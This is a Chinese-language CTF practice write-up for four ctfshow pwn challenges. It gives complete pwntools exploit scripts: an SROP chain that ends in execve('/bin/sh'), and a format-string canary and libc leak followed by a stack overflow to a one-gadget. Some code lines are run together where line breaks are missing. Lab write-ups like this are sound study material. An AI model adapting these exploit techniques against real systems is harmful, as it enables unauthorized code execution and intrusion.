PWN-PRACTICE-CTFSHOW-7
- 大吉大利杯-easyrop
- 大牛杯-guess
- 吃鸡杯-win_pwn
- 吃鸡杯-easy_canary
大吉大利杯-easyrop
栈溢出,SROP
# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
context.arch="amd64" #32位和64位的sigframe结构不同,需要指定处理器架构
#io=process("./pwn1")
io=remote("pwn.challenge.ctf.show",28078)
elf=ELF("./pwn1")syscall=0x4000DC #syscall gadget
buf=0x6000E0 #buf address
pop_rax=0x4000DB #pop rax;syscall gadgetsigframe = SigreturnFrame()
#sigreturn系统调用结束后,由pop恢复的寄存器值,可指定
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = buf#输入数据的地址
sigframe.rdx = 0x300
sigframe.rsp = buf#这里设置新的栈顶与read输入的数据地址相同,ret从栈顶弹出一个地址到rip,于是控制了下一条执行指令的地址
sigframe.rip = syscallio.recvuntil("Welcome to DJB easyrop!\n")
#正常输入数据的地址与返回地址在栈上的偏移为64,填充后rop
#pop_rax将rax赋值为15,然后会syscall,即sigreturn系统调用,将sigframe里设置的寄存器值赋为新的寄存器值
#新的rip为syscall,rax为constants.SYS_read,于是再次执行read系统调用,输入数据的地址为buf
payload="a"*64+p64(pop_rax)+p64(15)+str(sigframe)
io.send(payload)sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = buf+0x120 # "/bin/sh\x00"的地址
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall#上面再次执行的read系统调用,输入数据的地址为buf,因为第一个sigreturn设置栈顶rsp也为buf,于是ret要从buf处弹出一个地址到rip,,作为下一条指令的地址,于是输入到buf的数据首先为pop_rax和新的sigframe
payload=p64(pop_rax)+p64(15)+str(sigframe) #由ret回到pop rax;syscall 执行sigreturn,给寄存器赋值,然后再执行execve系统调用,rdi为"/bin/sh\x00"的地址
payload=payload.ljust(0x120,"\x00")+"/bin/sh\x00"
io.send(payload)io.interactive()
大牛杯-guess
nc连上去,直接输入65538即可得到flag
吃鸡杯-win_pwn
exe程序,运行后随便输入一个长度为169的字符串,然后回车,即可得到flag
吃鸡杯-easy_canary
格式化字符串漏洞泄露canary和libc基地址,然后栈溢出覆盖返回地址到one-gadget
# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./pwn1")
io=remote("pwn.challenge.ctf.show",28140)
elf=ELF("./pwn1")number=0x6B8B4567
io.sendlineafter("lucky number:\n",p32(number))#远程libc
libc=ELF("./libc6_2.23-0ubuntu10_amd64.so")#泄露canary和libc基址
payload="%15$p,%21$p"
io.sendline(payload)
io.recvuntil("0x")
canary=int(io.recv(16),16)
print("canary=="+hex(canary))
io.recvuntil("0x")
__libc_start_main=int(io.recv(12),16)-(0x20830-0x20740)
libc_base=__libc_start_main-libc.sym["__libc_start_main"]
print("libc_base=="+hex(libc_base))
ogg=libc_base+0x45216payload="a"*72+p64(canary)+"b"*8+p64(ogg)
io.sendline(payload)io.interactive()